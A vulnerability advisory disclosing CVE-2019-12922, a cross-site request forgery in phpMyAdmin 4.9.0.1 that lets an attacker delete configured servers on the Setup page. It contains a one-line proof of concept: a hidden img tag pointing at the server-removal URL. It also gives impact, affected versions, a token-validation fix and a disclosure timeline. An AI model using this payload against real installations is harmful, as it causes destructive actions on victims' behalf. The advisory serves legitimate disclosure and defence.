phpMyAdmin 4.9.0.1 Cross Site Request Forgery

`=============================================  
MGC ALERT 2019-003  
- Original release date: June 13, 2019  
- Last revised: September 13, 2019  
- Discovered by: Manuel Garcia Cardenas  
- Severity: 4,3/10 (CVSS Base Score)  
- CVE-ID: CVE-2019-12922  
=============================================  
  
I. VULNERABILITY  
-------------------------  
phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery  
  
II. BACKGROUND  
-------------------------  
phpMyAdmin is a free software tool written in PHP, intended to handle the  
administration of MySQL over the Web. phpMyAdmin supports a wide range of  
operations on MySQL and MariaDB.  
  
III. DESCRIPTION  
-------------------------  
Has been detected a Cross-Site Request Forgery in phpMyAdmin, that allows  
an attacker to trigger a CSRF attack against a phpMyAdmin user deleting any  
server in the Setup page.  
  
IV. PROOF OF CONCEPT  
-------------------------  
Exploit CSRF - Deleting main server  
  
<p>Deleting Server 1</p>  
<img src="  
http://server/phpmyadmin/setup/index.php?page=servers&mode=remove&id=1"  
style="display:none;" />  
  
V. BUSINESS IMPACT  
-------------------------  
The attacker can easily create a fake hyperlink containing the request that  
wants to execute on behalf the user,in this way making possible a CSRF  
attack due to the wrong use of HTTP method.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
phpMyAdmin <= 4.9.0.1  
  
VII. SOLUTION  
-------------------------  
Implement in each call the validation of the token variable, as already  
done in other phpMyAdmin requests.  
  
VIII. REFERENCES  
-------------------------  
https://www.phpmyadmin.net/  
  
IX. CREDITS  
-------------------------  
This vulnerability has been discovered and reported  
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).  
  
X. REVISION HISTORY  
-------------------------  
June 13, 2019 1: Initial release  
September 13, 2019 2: Last revision  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
June 13, 2019 1: Vulnerability acquired by Manuel Garcia Cardenas  
June 13, 2019 2: Send to vendor  
July 16, 2019 3: New request to vendor without fix date  
September 13, 2019 4: Sent to lists  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
  
XIII. ABOUT  
-------------------------  
Manuel Garcia Cardenas  
Pentester  
  
  
`